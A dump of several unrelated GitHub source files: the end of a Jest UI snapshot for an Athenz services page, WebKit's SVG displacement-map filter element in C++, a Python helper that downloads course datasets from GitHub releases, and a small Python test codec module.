class="emotion-16"
>
<div
class="emotion-14"
>
N/A
</div>
<div
class="emotion-15"
>
Product ID
</div>
</div>
<div
class="emotion-16"
>
<div
class="emotion-14"
>
athenz
</div>
<div
class="emotion-15"
>
ORGANIZATION
</div>
</div>
<div
class="emotion-16"
>
<div
class="emotion-14"
>
N/A
</div>
<div
class="emotion-15"
>
AUDIT ENABLED
</div>
</div>
<div
class="emotion-16"
>
<div
class="emotion-14"
>
1231243134
</div>
<div
class="emotion-15"
>
AWS ACCOUNT ID
</div>
</div>
<div
class="emotion-16"
>
<button
class="emotion-29 denali-button"
>
Onboard to AWS
</button>
</div>
</div>
</div>
<div
class="emotion-38 denali-tab-group"
data-testid="tabgroup"
>
<div
class="emotion-33 denali-tab"
data-active="false"
>
Roles
</div>
<div
class="emotion-33 denali-tab active"
data-active="true"
>
Services
</div>
<div
class="emotion-33 denali-tab"
data-active="false"
>
Policies
</div>
<div
class="emotion-33 denali-tab"
data-active="false"
>
Templates
</div>
<div
class="emotion-33 denali-tab"
data-active="false"
>
History
</div>
</div>
</div>
<div
class="emotion-64"
data-testid="service-list"
>
<div
class="emotion-41"
>
<a
class="emotion-40"
>
Add Service
</a>
</div>
<table
class="emotion-63"
>
<thead>
<tr>
<th
class="emotion-42"
>
Service
</th>
<th
class="emotion-42"
>
Modified Date
</th>
<th
class="emotion-44"
>
Public Keys
</th>
<th
class="emotion-44"
>
Providers
</th>
<th
class="emotion-44"
>
Delete
</th>
</tr>
</thead>
<tbody>
<tr
data-testid="service-row"
>
<td
class="emotion-47"
color="#3570f40D"
>
bastion
</td>
<td
class="emotion-47"
color="#3570f40D"
>
2017-12-21 18:59 UTC
</td>
<td
class="emotion-50"
color="#3570f40D"
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
key
</title>
<path
d="M861.867 738.133l-283.733-285.867c25.375-36.49 40.54-81.738 40.54-130.527 0-0.612-0.002-1.223-0.007-1.833l0.001 0.094c0-129.603-105.064-234.667-234.667-234.667s-234.667 105.064-234.667 234.667c0 129.603 105.064 234.667 234.667 234.667v0c0.517 0.004 1.128 0.007 1.74 0.007 48.789 0 94.037-15.165 131.286-41.039l-0.759 0.499 128 125.867-98.133 98.133c-8.083 7.434-13.13 18.061-13.13 29.867s5.047 22.432 13.101 29.84l0.029 0.026c7.434 8.083 18.061 13.13 29.867 13.13s22.432-5.047 29.84-13.101l0.026-0.029 98.133-98.133 68.267 68.267-98.133 98.133c-8.083 7.434-13.13 18.061-13.13 29.867s5.047 22.432 13.101 29.84l0.029 0.026c7.434 8.083 18.061 13.13 29.867 13.13s22.432-5.047 29.84-13.101l0.026-0.029 128-128c8.083-7.434 13.13-18.061 13.13-29.867s-5.047-22.432-13.101-29.84l-0.029-0.026zM234.667 320c0-82.475 66.859-149.333 149.333-149.333s149.333 66.859 149.333 149.333c0 82.475-66.859 149.333-149.333 149.333v0c-82.475 0-149.333-66.859-149.333-149.333v0z"
/>
</svg>
</td>
<td
class="emotion-50"
color="#3570f40D"
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
cloud
</title>
<path
d="M413.867 874.667h-115.2c-2.414 0.079-5.252 0.124-8.101 0.124-68.412 0-130.759-25.969-177.72-68.588l0.22 0.197c-43.53-44.246-70.406-104.991-70.406-172.014 0-16.122 1.555-31.88 4.523-47.134l-0.251 1.548c10.721-73.493 51.867-135.688 110.008-174.354l0.926-0.579c-0.004-0.544-0.006-1.187-0.006-1.831 0-68.35 25.922-130.646 68.472-177.592l-0.199 0.223c45.623-52.402 112.444-85.335 186.957-85.335 0.273 0 0.546 0 0.819 0.001l-0.042-0c92.083 3.668 171.773 53.493 216.939 126.846l0.661 1.154c7.151-0.867 15.432-1.362 23.828-1.362 52.142 0 99.825 19.088 136.443 50.657l-0.271-0.228c41.329 33.213 68.642 82.408 72.5 138.060l0.034 0.607c70.229 35.887 117.477 107.718 117.477 190.585 0 2.748-0.052 5.485-0.155 8.208l0.012-0.393c-2.133 102.4-81.067 211.2-245.333 211.2h-322.133zM413.867 234.667c-0.197-0.001-0.43-0.001-0.663-0.001-48.912 0-92.83 21.377-122.923 55.298l-0.148 0.17c-29.548 33.88-47.564 78.486-47.564 127.299 0 5.503 0.229 10.952 0.678 16.339l-0.047-0.705c0.148 1.334 0.232 2.881 0.232 4.448 0 16.653-9.541 31.078-23.455 38.107l-0.244 0.112c-47.661 24.947-81.478 70.745-89.488 124.948l-0.112 0.919c-1.815 9.107-2.854 19.577-2.854 30.289 0 43.785 17.357 83.517 45.565 112.69l-0.044-0.045c30.299 27.962 70.945 45.109 115.596 45.109 3.613 0 7.2-0.112 10.758-0.334l-0.487 0.024h437.333c151.467 0 160-115.2 160-128 0.030-1.053 0.047-2.292 0.047-3.534 0-56.997-36.052-105.574-86.596-124.17l-0.917-0.295h-4.267c-14.966-4.694-25.635-18.438-25.635-34.673 0-0.56 0.013-1.118 0.038-1.672l-0.003 0.079c0.278-3.164 0.437-6.845 0.437-10.564 0-36.011-14.871-68.548-38.806-91.807l-0.031-0.030c-24.107-20.784-55.732-33.443-90.312-33.443-11.096 0-21.888 1.303-32.231 3.765l0.943-0.189c-3.107 0.809-6.673 1.274-10.348 1.274-17.060 0-31.781-10.012-38.608-24.481l-0.11-0.26c-23.467-51.2-83.2-106.667-155.733-106.667z"
/>
</svg>
</td>
<td
class="emotion-50"
color="#3570f40D"
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
trash
</title>
<path
d="M917.333 187.733c0.007 0.319 0.012 0.694 0.012 1.071 0 12.755-4.867 24.374-12.846 33.1l0.034-0.038c-6.696 7.89-16.62 12.864-27.706 12.864-0.76 0-1.515-0.023-2.264-0.069l0.103 0.005h-256c-23.564 0-42.667-19.103-42.667-42.667v0-42.667h-128v42.667c0 23.564-19.103 42.667-42.667 42.667v0h-253.867c-0.136 0.001-0.298 0.002-0.459 0.002-22.485 0-41.102-16.565-44.311-38.157l-0.030-0.245c-0.007-0.319-0.012-0.694-0.012-1.071 0-12.755 4.867-24.374 12.846-33.1l-0.034 0.038c6.696-7.89 16.62-12.864 27.706-12.864 0.76 0 1.515 0.023 2.264 0.069l-0.103-0.005h213.333v-42.667c0-23.564 19.103-42.667 42.667-42.667v0h213.333c23.564 0 42.667 19.103 42.667 42.667v0 42.667h211.2c0.136-0.001 0.298-0.002 0.459-0.002 22.485 0 41.102 16.565 44.311 38.157l0.030 0.245z"
/>
<path
d="M742.4 358.4l-51.2 516.267h-358.4l-51.2-516.267c-2.24-21.656-20.391-38.401-42.453-38.401-0.075 0-0.15 0-0.225 0.001l0.012-0c-0.064-0-0.139-0.001-0.214-0.001-23.564 0-42.667 19.103-42.667 42.667 0 1.503 0.078 2.988 0.229 4.45l-0.015-0.183 55.467 554.667c2.24 21.656 20.391 38.401 42.453 38.401 0.075 0 0.15-0 0.225-0.001l-0.012 0h435.2c0.064 0 0.139 0.001 0.214 0.001 22.062 0 40.213-16.744 42.437-38.218l0.015-0.183 55.467-554.667c0.136-1.28 0.214-2.764 0.214-4.267 0-23.564-19.103-42.667-42.667-42.667-0.075 0-0.15 0-0.226 0.001l0.012-0c-0.064-0-0.139-0.001-0.214-0.001-22.062 0-40.213 16.744-42.437 38.218l-0.015 0.183z"
/>
</svg>
</td>
</tr>
<tr
data-testid="service-row"
>
<td
class="emotion-55"
color=""
>
openhouse
</td>
<td
class="emotion-55"
color=""
>
2017-12-19 20:24 UTC
</td>
<td
class="emotion-58"
color=""
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
key
</title>
<path
d="M861.867 738.133l-283.733-285.867c25.375-36.49 40.54-81.738 40.54-130.527 0-0.612-0.002-1.223-0.007-1.833l0.001 0.094c0-129.603-105.064-234.667-234.667-234.667s-234.667 105.064-234.667 234.667c0 129.603 105.064 234.667 234.667 234.667v0c0.517 0.004 1.128 0.007 1.74 0.007 48.789 0 94.037-15.165 131.286-41.039l-0.759 0.499 128 125.867-98.133 98.133c-8.083 7.434-13.13 18.061-13.13 29.867s5.047 22.432 13.101 29.84l0.029 0.026c7.434 8.083 18.061 13.13 29.867 13.13s22.432-5.047 29.84-13.101l0.026-0.029 98.133-98.133 68.267 68.267-98.133 98.133c-8.083 7.434-13.13 18.061-13.13 29.867s5.047 22.432 13.101 29.84l0.029 0.026c7.434 8.083 18.061 13.13 29.867 13.13s22.432-5.047 29.84-13.101l0.026-0.029 128-128c8.083-7.434 13.13-18.061 13.13-29.867s-5.047-22.432-13.101-29.84l-0.029-0.026zM234.667 320c0-82.475 66.859-149.333 149.333-149.333s149.333 66.859 149.333 149.333c0 82.475-66.859 149.333-149.333 149.333v0c-82.475 0-149.333-66.859-149.333-149.333v0z"
/>
</svg>
</td>
<td
class="emotion-58"
color=""
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
cloud
</title>
<path
d="M413.867 874.667h-115.2c-2.414 0.079-5.252 0.124-8.101 0.124-68.412 0-130.759-25.969-177.72-68.588l0.22 0.197c-43.53-44.246-70.406-104.991-70.406-172.014 0-16.122 1.555-31.88 4.523-47.134l-0.251 1.548c10.721-73.493 51.867-135.688 110.008-174.354l0.926-0.579c-0.004-0.544-0.006-1.187-0.006-1.831 0-68.35 25.922-130.646 68.472-177.592l-0.199 0.223c45.623-52.402 112.444-85.335 186.957-85.335 0.273 0 0.546 0 0.819 0.001l-0.042-0c92.083 3.668 171.773 53.493 216.939 126.846l0.661 1.154c7.151-0.867 15.432-1.362 23.828-1.362 52.142 0 99.825 19.088 136.443 50.657l-0.271-0.228c41.329 33.213 68.642 82.408 72.5 138.060l0.034 0.607c70.229 35.887 117.477 107.718 117.477 190.585 0 2.748-0.052 5.485-0.155 8.208l0.012-0.393c-2.133 102.4-81.067 211.2-245.333 211.2h-322.133zM413.867 234.667c-0.197-0.001-0.43-0.001-0.663-0.001-48.912 0-92.83 21.377-122.923 55.298l-0.148 0.17c-29.548 33.88-47.564 78.486-47.564 127.299 0 5.503 0.229 10.952 0.678 16.339l-0.047-0.705c0.148 1.334 0.232 2.881 0.232 4.448 0 16.653-9.541 31.078-23.455 38.107l-0.244 0.112c-47.661 24.947-81.478 70.745-89.488 124.948l-0.112 0.919c-1.815 9.107-2.854 19.577-2.854 30.289 0 43.785 17.357 83.517 45.565 112.69l-0.044-0.045c30.299 27.962 70.945 45.109 115.596 45.109 3.613 0 7.2-0.112 10.758-0.334l-0.487 0.024h437.333c151.467 0 160-115.2 160-128 0.030-1.053 0.047-2.292 0.047-3.534 0-56.997-36.052-105.574-86.596-124.17l-0.917-0.295h-4.267c-14.966-4.694-25.635-18.438-25.635-34.673 0-0.56 0.013-1.118 0.038-1.672l-0.003 0.079c0.278-3.164 0.437-6.845 0.437-10.564 0-36.011-14.871-68.548-38.806-91.807l-0.031-0.030c-24.107-20.784-55.732-33.443-90.312-33.443-11.096 0-21.888 1.303-32.231 3.765l0.943-0.189c-3.107 0.809-6.673 1.274-10.348 1.274-17.060 0-31.781-10.012-38.608-24.481l-0.11-0.26c-23.467-51.2-83.2-106.667-155.733-106.667z"
/>
</svg>
</td>
<td
class="emotion-58"
color=""
>
<svg
class="emotion-49"
data-testid="icon"
height="1.25em"
viewBox="0 0 1024 1024"
width="1.25em"
>
<title>
trash
</title>
<path
d="M917.333 187.733c0.007 0.319 0.012 0.694 0.012 1.071 0 12.755-4.867 24.374-12.846 33.1l0.034-0.038c-6.696 7.89-16.62 12.864-27.706 12.864-0.76 0-1.515-0.023-2.264-0.069l0.103 0.005h-256c-23.564 0-42.667-19.103-42.667-42.667v0-42.667h-128v42.667c0 23.564-19.103 42.667-42.667 42.667v0h-253.867c-0.136 0.001-0.298 0.002-0.459 0.002-22.485 0-41.102-16.565-44.311-38.157l-0.030-0.245c-0.007-0.319-0.012-0.694-0.012-1.071 0-12.755 4.867-24.374 12.846-33.1l-0.034 0.038c6.696-7.89 16.62-12.864 27.706-12.864 0.76 0 1.515 0.023 2.264 0.069l-0.103-0.005h213.333v-42.667c0-23.564 19.103-42.667 42.667-42.667v0h213.333c23.564 0 42.667 19.103 42.667 42.667v0 42.667h211.2c0.136-0.001 0.298-0.002 0.459-0.002 22.485 0 41.102 16.565 44.311 38.157l0.030 0.245z"
/>
<path
d="M742.4 358.4l-51.2 516.267h-358.4l-51.2-516.267c-2.24-21.656-20.391-38.401-42.453-38.401-0.075 0-0.15 0-0.225 0.001l0.012-0c-0.064-0-0.139-0.001-0.214-0.001-23.564 0-42.667 19.103-42.667 42.667 0 1.503 0.078 2.988 0.229 4.45l-0.015-0.183 55.467 554.667c2.24 21.656 20.391 38.401 42.453 38.401 0.075 0 0.15-0 0.225-0.001l-0.012 0h435.2c0.064 0 0.139 0.001 0.214 0.001 22.062 0 40.213-16.744 42.437-38.218l0.015-0.183 55.467-554.667c0.136-1.28 0.214-2.764 0.214-4.267 0-23.564-19.103-42.667-42.667-42.667-0.075 0-0.15 0-0.226 0.001l0.012-0c-0.064-0-0.139-0.001-0.214-0.001-22.062 0-40.213 16.744-42.437 38.218l-0.015 0.183z"
/>
</svg>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div
data-testid="user-domains"
>
<div
class="emotion-68"
data-testid="toggle-domain"
>
<svg
class="emotion-67"
data-testid="icon"
height="1em"
viewBox="0 0 1024 1024"
width="1em"
>
<title>
arrow-right
</title>
<path
d="M579.627 512l-225.707 226.133c-7.425 7.668-12.002 18.133-12.002 29.667 0 14.028 6.77 26.476 17.222 34.252l0.114 0.081c6.877 4.635 15.35 7.398 24.467 7.398 12.618 0 24-5.292 32.048-13.778l0.019-0.020 254.293-253.653c7.731-7.723 12.514-18.396 12.514-30.187s-4.782-22.464-12.513-30.186l-0-0-254.293-254.507c-8.066-8.506-19.448-13.798-32.066-13.798-9.118 0-17.59 2.763-24.625 7.498l0.158-0.1c-10.919 7.83-17.949 20.483-17.949 34.778 0 11.841 4.824 22.556 12.613 30.286l0.003 0.003z"
/>
</svg>
</div>
<div
class="emotion-83"
>
<div
class="emotion-73"
>
<div
class="emotion-69"
>
My Domains
</div>
<div>
<a
class="emotion-70"
>
Create
</a>
<span
class="emotion-71"
>
|
</span>
<a
class="emotion-70"
>
Manage
</a>
</div>
</div>
<div
class="emotion-82"
>
<div
class="emotion-77"
>
<div
class="emotion-75"
>
<svg
class="emotion-74"
data-testid="icon"
height="1em"
viewBox="0 0 1024 1024"
width="1em"
>
<title>
user-group
</title>
<path
d="M320 512c106.039 0 192-85.961 192-192s-85.961-192-192-192c-106.039 0-192 85.961-192 192v0c0 106.039 85.961 192 192 192v0zM320 213.333c58.91 0 106.667 47.756 106.667 106.667s-47.756 106.667-106.667 106.667c-58.91 0-106.667-47.756-106.667-106.667v0c0-58.91 47.756-106.667 106.667-106.667v0z"
/>
<path
d="M746.667 512c82.475 0 149.333-66.859 149.333-149.333s-66.859-149.333-149.333-149.333c-82.475 0-149.333 66.859-149.333 149.333v0c0 82.475 66.859 149.333 149.333 149.333v0zM746.667 298.667c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64v0c-0.024-0.647-0.038-1.408-0.038-2.171 0-34.168 27.699-61.867 61.867-61.867 0.764 0 1.524 0.014 2.281 0.041l-0.11-0.003z"
/>
<path
d="M981.333 627.2l-19.2-12.8c-61.484-37.554-135.879-59.79-215.467-59.79s-153.983 22.236-217.31 60.834l1.843-1.044-17.067 12.8c-51.435-18.731-110.808-29.656-172.706-29.866l-0.094-0c-1.041-0.008-2.273-0.012-3.505-0.012-102.805 0-198.352 31.076-277.759 84.348l1.797-1.135-19.2 12.8v160c0 23.564 19.103 42.667 42.667 42.667v0h512c23.564 0 42.667-19.103 42.667-42.667v0-42.667h298.667c23.564 0 42.667-19.103 42.667-42.667v0zM554.667 810.667h-426.667v-70.4c60.429-36.199 133.319-57.605 211.209-57.605 0.747 0 1.493 0.002 2.239 0.006l-0.115-0c0.631-0.003 1.377-0.005 2.124-0.005 77.89 0 150.78 21.406 213.108 58.657l-1.899-1.052zM896 725.333h-256v-32l-32-21.333c40.883-19.81 88.92-31.389 139.661-31.389 54.141 0 105.204 13.182 150.153 36.512l-1.814-0.857z"
/>
</svg>
</div>
<a
class="emotion-70"
>
athens
</a>
</div>
<div
class="emotion-77"
>
<div
class="emotion-75"
>
<svg
class="emotion-74"
data-testid="icon"
height="1em"
viewBox="0 0 1024 1024"
width="1em"
>
<title>
user-group
</title>
<path
d="M320 512c106.039 0 192-85.961 192-192s-85.961-192-192-192c-106.039 0-192 85.961-192 192v0c0 106.039 85.961 192 192 192v0zM320 213.333c58.91 0 106.667 47.756 106.667 106.667s-47.756 106.667-106.667 106.667c-58.91 0-106.667-47.756-106.667-106.667v0c0-58.91 47.756-106.667 106.667-106.667v0z"
/>
<path
d="M746.667 512c82.475 0 149.333-66.859 149.333-149.333s-66.859-149.333-149.333-149.333c-82.475 0-149.333 66.859-149.333 149.333v0c0 82.475 66.859 149.333 149.333 149.333v0zM746.667 298.667c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64v0c-0.024-0.647-0.038-1.408-0.038-2.171 0-34.168 27.699-61.867 61.867-61.867 0.764 0 1.524 0.014 2.281 0.041l-0.11-0.003z"
/>
<path
d="M981.333 627.2l-19.2-12.8c-61.484-37.554-135.879-59.79-215.467-59.79s-153.983 22.236-217.31 60.834l1.843-1.044-17.067 12.8c-51.435-18.731-110.808-29.656-172.706-29.866l-0.094-0c-1.041-0.008-2.273-0.012-3.505-0.012-102.805 0-198.352 31.076-277.759 84.348l1.797-1.135-19.2 12.8v160c0 23.564 19.103 42.667 42.667 42.667v0h512c23.564 0 42.667-19.103 42.667-42.667v0-42.667h298.667c23.564 0 42.667-19.103 42.667-42.667v0zM554.667 810.667h-426.667v-70.4c60.429-36.199 133.319-57.605 211.209-57.605 0.747 0 1.493 0.002 2.239 0.006l-0.115-0c0.631-0.003 1.377-0.005 2.124-0.005 77.89 0 150.78 21.406 213.108 58.657l-1.899-1.052zM896 725.333h-256v-32l-32-21.333c40.883-19.81 88.92-31.389 139.661-31.389 54.141 0 105.204 13.182 150.153 36.512l-1.814-0.857z"
/>
</svg>
</div>
<a
class="emotion-70"
>
athens.ci
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
`;
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2006 Oliver Hunt <[email protected]>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "config.h"
#if ENABLE(SVG) && ENABLE(FILTERS)
#include "SVGFEDisplacementMapElement.h"
#include "Attribute.h"
#include "FilterEffect.h"
#include "SVGFilterBuilder.h"
#include "SVGNames.h"
namespace WebCore {
// Animated property definitions
DEFINE_ANIMATED_STRING(SVGFEDisplacementMapElement, SVGNames::inAttr, In1, in1)
DEFINE_ANIMATED_STRING(SVGFEDisplacementMapElement, SVGNames::in2Attr, In2, in2)
DEFINE_ANIMATED_ENUMERATION(SVGFEDisplacementMapElement, SVGNames::xChannelSelectorAttr, XChannelSelector, xChannelSelector)
DEFINE_ANIMATED_ENUMERATION(SVGFEDisplacementMapElement, SVGNames::yChannelSelectorAttr, YChannelSelector, yChannelSelector)
DEFINE_ANIMATED_NUMBER(SVGFEDisplacementMapElement, SVGNames::scaleAttr, Scale, scale)
inline SVGFEDisplacementMapElement::SVGFEDisplacementMapElement(const QualifiedName& tagName, Document* document)
: SVGFilterPrimitiveStandardAttributes(tagName, document)
, m_xChannelSelector(CHANNEL_A)
, m_yChannelSelector(CHANNEL_A)
{
}
PassRefPtr<SVGFEDisplacementMapElement> SVGFEDisplacementMapElement::create(const QualifiedName& tagName, Document* document)
{
return adoptRef(new SVGFEDisplacementMapElement(tagName, document));
}
ChannelSelectorType SVGFEDisplacementMapElement::stringToChannel(const String& key)
{
if (key == "R")
return CHANNEL_R;
if (key == "G")
return CHANNEL_G;
if (key == "B")
return CHANNEL_B;
if (key == "A")
return CHANNEL_A;
return CHANNEL_UNKNOWN;
}
void SVGFEDisplacementMapElement::parseMappedAttribute(Attribute* attr)
{
const String& value = attr->value();
if (attr->name() == SVGNames::xChannelSelectorAttr)
setXChannelSelectorBaseValue(stringToChannel(value));
else if (attr->name() == SVGNames::yChannelSelectorAttr)
setYChannelSelectorBaseValue(stringToChannel(value));
else if (attr->name() == SVGNames::inAttr)
setIn1BaseValue(value);
else if (attr->name() == SVGNames::in2Attr)
setIn2BaseValue(value);
else if (attr->name() == SVGNames::scaleAttr)
setScaleBaseValue(value.toFloat());
else
SVGFilterPrimitiveStandardAttributes::parseMappedAttribute(attr);
}
bool SVGFEDisplacementMapElement::setFilterEffectAttribute(FilterEffect* effect, const QualifiedName& attrName)
{
FEDisplacementMap* displacementMap = static_cast<FEDisplacementMap*>(effect);
if (attrName == SVGNames::xChannelSelectorAttr)
return displacementMap->setXChannelSelector(static_cast<ChannelSelectorType>(xChannelSelector()));
if (attrName == SVGNames::yChannelSelectorAttr)
return displacementMap->setYChannelSelector(static_cast<ChannelSelectorType>(yChannelSelector()));
if (attrName == SVGNames::scaleAttr)
return displacementMap->setScale(scale());
ASSERT_NOT_REACHED();
return false;
}
void SVGFEDisplacementMapElement::svgAttributeChanged(const QualifiedName& attrName)
{
SVGFilterPrimitiveStandardAttributes::svgAttributeChanged(attrName);
if (attrName == SVGNames::xChannelSelectorAttr) {
ChannelSelectorType selector = static_cast<ChannelSelectorType>(xChannelSelector());
if (CHANNEL_UNKNOWN > selector || selector > CHANNEL_A)
setXChannelSelectorBaseValue(CHANNEL_UNKNOWN);
primitiveAttributeChanged(attrName);
} else if (attrName == SVGNames::yChannelSelectorAttr) {
ChannelSelectorType selector = static_cast<ChannelSelectorType>(yChannelSelector());
if (CHANNEL_UNKNOWN > selector || selector > CHANNEL_A)
setYChannelSelectorBaseValue(CHANNEL_UNKNOWN);
primitiveAttributeChanged(attrName);
} else if (attrName == SVGNames::scaleAttr)
primitiveAttributeChanged(attrName);
else if (attrName == SVGNames::inAttr || attrName == SVGNames::in2Attr)
invalidate();
}
void SVGFEDisplacementMapElement::synchronizeProperty(const QualifiedName& attrName)
{
SVGFilterPrimitiveStandardAttributes::synchronizeProperty(attrName);
if (attrName == anyQName()) {
synchronizeXChannelSelector();
synchronizeYChannelSelector();
synchronizeIn1();
synchronizeIn2();
synchronizeScale();
return;
}
if (attrName == SVGNames::xChannelSelectorAttr)
synchronizeXChannelSelector();
else if (attrName == SVGNames::yChannelSelectorAttr)
synchronizeYChannelSelector();
else if (attrName == SVGNames::inAttr)
synchronizeIn1();
else if (attrName == SVGNames::in2Attr)
synchronizeIn2();
else if (attrName == SVGNames::scaleAttr)
synchronizeScale();
}
AttributeToPropertyTypeMap& SVGFEDisplacementMapElement::attributeToPropertyTypeMap()
{
DEFINE_STATIC_LOCAL(AttributeToPropertyTypeMap, s_attributeToPropertyTypeMap, ());
return s_attributeToPropertyTypeMap;
}
void SVGFEDisplacementMapElement::fillAttributeToPropertyTypeMap()
{
AttributeToPropertyTypeMap& attributeToPropertyTypeMap = this->attributeToPropertyTypeMap();
SVGFilterPrimitiveStandardAttributes::fillPassedAttributeToPropertyTypeMap(attributeToPropertyTypeMap);
attributeToPropertyTypeMap.set(SVGNames::inAttr, AnimatedString);
attributeToPropertyTypeMap.set(SVGNames::in2Attr, AnimatedString);
attributeToPropertyTypeMap.set(SVGNames::xChannelSelectorAttr, AnimatedEnumeration);
attributeToPropertyTypeMap.set(SVGNames::yChannelSelectorAttr, AnimatedEnumeration);
attributeToPropertyTypeMap.set(SVGNames::scaleAttr, AnimatedNumber);
}
PassRefPtr<FilterEffect> SVGFEDisplacementMapElement::build(SVGFilterBuilder* filterBuilder, Filter* filter)
{
FilterEffect* input1 = filterBuilder->getEffectById(in1());
FilterEffect* input2 = filterBuilder->getEffectById(in2());
if (!input1 || !input2)
return 0;
RefPtr<FilterEffect> effect = FEDisplacementMap::create(filter, static_cast<ChannelSelectorType>(xChannelSelector()),
static_cast<ChannelSelectorType>(yChannelSelector()), scale());
FilterEffectVector& inputEffects = effect->inputEffects();
inputEffects.reserveCapacity(2);
inputEffects.append(input1);
inputEffects.append(input2);
return effect.release();
}
}
#endif // ENABLE(SVG)
// vim:ts=4:noet
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import shutil
import requests
import time
from functools import wraps
import traceback
import tqdm_utils
# https://www.saltycrane.com/blog/2009/11/trying-out-retry-decorator-python/
def retry(ExceptionToCheck, tries=4, delay=3, backoff=2):
def deco_retry(f):
@wraps(f)
def f_retry(*args, **kwargs):
mtries, mdelay = tries, delay
while mtries > 1:
try:
return f(*args, **kwargs)
except KeyboardInterrupt as e:
raise e
except ExceptionToCheck as e:
print("%s, retrying in %d seconds..." % (str(e), mdelay))
traceback.print_exc()
time.sleep(mdelay)
mtries -= 1
mdelay *= backoff
return f(*args, **kwargs)
return f_retry # true decorator
return deco_retry
@retry(Exception)
def download_file(url, file_path):
r = requests.get(url, stream=True)
total_size = int(r.headers.get('content-length'))
bar = tqdm_utils.tqdm_notebook_failsafe(total=total_size, unit='B', unit_scale=True)
bar.set_description(os.path.split(file_path)[-1])
incomplete_download = False
try:
with open(file_path, 'wb', buffering=16 * 1024 * 1024) as f:
for chunk in r.iter_content(4 * 1024 * 1024):
f.write(chunk)
bar.update(len(chunk))
except Exception as e:
raise e
finally:
bar.close()
if os.path.exists(file_path) and os.path.getsize(file_path) != total_size:
incomplete_download = True
os.remove(file_path)
if incomplete_download:
raise Exception("Incomplete download")
def download_from_github(version, fn, target_dir):
url = "https://github.com/hse-aml/intro-to-dl/releases/download/{0}/{1}".format(version, fn)
file_path = os.path.join(target_dir, fn)
download_file(url, file_path)
def sequential_downloader(version, fns, target_dir):
os.makedirs(target_dir, exist_ok=True)
for fn in fns:
download_from_github(version, fn, target_dir)
def link_all_files_from_dir(src_dir, dst_dir):
os.makedirs(dst_dir, exist_ok=True)
if not os.path.exists(src_dir):
# Coursera "readonly/readonly" bug workaround
src_dir = src_dir.replace("readonly", "readonly/readonly")
for fn in os.listdir(src_dir):
src_file = os.path.join(src_dir, fn)
dst_file = os.path.join(dst_dir, fn)
if os.name == "nt":
shutil.copyfile(src_file, dst_file)
else:
if os.path.islink(dst_file):
os.remove(dst_file)
if not os.path.exists(dst_file):
os.symlink(os.path.abspath(src_file), dst_file)
def download_all_keras_resources(keras_models, keras_datasets):
# Originals:
# http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz
# https://github.com/fchollet/deep-learning-models/releases/download/v0.5/inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5
# https://s3.amazonaws.com/img-datasets/mnist.npz
sequential_downloader(
"v0.2",
[
"inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5"
],
keras_models
)
sequential_downloader(
"v0.2",
[
"cifar-10-batches-py.tar.gz",
"mnist.npz"
],
keras_datasets
)
def download_week_3_resources(save_path):
# Originals:
# http://www.robots.ox.ac.uk/~vgg/data/flowers/102/102flowers.tgz
# http://www.robots.ox.ac.uk/~vgg/data/flowers/102/imagelabels.mat
sequential_downloader(
"v0.3",
[
"102flowers.tgz",
"imagelabels.mat"
],
save_path
)
def download_week_4_resources(save_path):
# Originals
# http://www.cs.columbia.edu/CAVE/databases/pubfig/download/lfw_attributes.txt
# http://vis-www.cs.umass.edu/lfw/lfw-deepfunneled.tgz
# http://vis-www.cs.umass.edu/lfw/lfw.tgz
sequential_downloader(
"v0.4",
[
"lfw-deepfunneled.tgz",
"lfw.tgz",
"lfw_attributes.txt"
],
save_path
)
def download_week_6_resources(save_path):
# Originals:
# http://msvocds.blob.core.windows.net/annotations-1-0-3/captions_train-val2014.zip
sequential_downloader(
"v0.1",
[
"captions_train-val2014.zip",
"train2014_sample.zip",
"train_img_embeds.pickle",
"train_img_fns.pickle",
"val2014_sample.zip",
"val_img_embeds.pickle",
"val_img_fns.pickle"
],
save_path
)
def link_all_keras_resources():
link_all_files_from_dir("../readonly/keras/datasets/", os.path.expanduser("~/.keras/datasets"))
link_all_files_from_dir("../readonly/keras/models/", os.path.expanduser("~/.keras/models"))
def link_week_3_resources():
link_all_files_from_dir("../readonly/week3/", ".")
def link_week_4_resources():
link_all_files_from_dir("../readonly/week4/", ".")
def link_week_6_resources():
link_all_files_from_dir("../readonly/week6/", ".")
| {
"pile_set_name": "Github"
} |
""" Test Codecs (used by test_charmapcodec)
Written by Marc-Andre Lemburg ([email protected]).
(c) Copyright 2000 Guido van Rossum.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_map)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_map)
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return (Codec().encode,Codec().decode,StreamReader,StreamWriter)
### Decoding Map
decoding_map = codecs.make_identity_dict(range(256))
